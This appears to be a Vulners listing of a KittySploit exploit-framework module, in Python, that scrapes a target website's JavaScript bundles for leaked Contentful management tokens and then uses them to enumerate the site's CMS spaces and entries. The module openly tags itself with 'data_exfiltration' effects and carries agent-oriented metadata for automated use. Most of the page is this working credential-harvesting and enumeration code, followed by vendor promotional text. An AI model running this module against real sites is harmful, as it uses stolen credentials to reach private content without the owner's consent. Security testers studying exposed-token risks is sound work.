Lucene search
+L

Contentful Management API Enumeration

🗓️ 08 Aug 2026 21:48:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Contentful Management API Enumeration lists spaces and entries using leaked tokens.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Enumerate Contentful spaces and entries using leaked management tokens."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.contentful_probe import enumerate_contentful
from lib.scanner.http.vibe_secrets_probe import collect_vibe_http_bodies, mask_secret


class Module(Auxiliary, Http_client):
    __info__ = {
        "name": "Contentful Management API Enumeration",
        "description": (
            "Uses leaked CFPAT management tokens and space IDs to list Contentful "
            "spaces and sample entries. Auto-discovers credentials from SPA bundles."
        ),
        "author": ["KittySploit Team"],
        "tags": ["contentful", "cms", "headless", "enumeration", "auxiliary", "nocode"],
        "modules": ["scanner/http/vibe_stack_secrets_detect"],
        "agent": {
            "risk": "intrusive",
            "effects": ["network_probe", "data_exfiltration"],
            "expected_requests": 4,
            "reversible": True,
            "approval_required": True,
            "produces": ["credentials", "risk_signals"],
            "cost": 1.1,
            "noise": 0.3,
            "value": 1.2,
        },
    }

    space_id = OptString("", "Contentful space ID", False)
    management_token = OptString("", "Contentful management token (CFPAT-…)", False)
    auto_discover = OptBool(True, "Scrape target assets for Contentful credentials", False)

    def run(self):
        bodies = collect_vibe_http_bodies(self.http_request) if self._to_bool(self.auto_discover) else []
        homepage = next((t for p, t in bodies if p == "/"), "")
        if not homepage and bodies:
            homepage = bodies[0][1]

        self._configure_session()
        verify = self._to_bool(self.verify_ssl)

        findings, creds = enumerate_contentful(
            self.session,
            homepage,
            verify_ssl=verify,
            space_id=str(self.space_id or "").strip(),
            management_token=str(self.management_token or "").strip(),
        )

        ok = [f for f in findings if f.get("ok")]
        if not ok:
            print_error("No Contentful Management API access (set options or enable auto_discover)")
            return False

        for hit in ok:
            print_success(
                f"Contentful space {hit.get('space_id')}: "
                f"{hit.get('space_name') or '?'} — entries accessible={hit.get('entries_accessible')}"
            )
            for title in hit.get("sample_entries") or []:
                print_info(f"  → entry: {title}")

        self.set_info(
            severity="critical",
            reason=f"Contentful Management API enum: {len(ok)} space(s) accessible",
            findings=findings,
            credentials={
                k: mask_secret(v) if "token" in k or "key" in k else v for k, v in creds.items()
            },
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 21:48Current
5.8Medium risk
Vulners AI Score5.8
2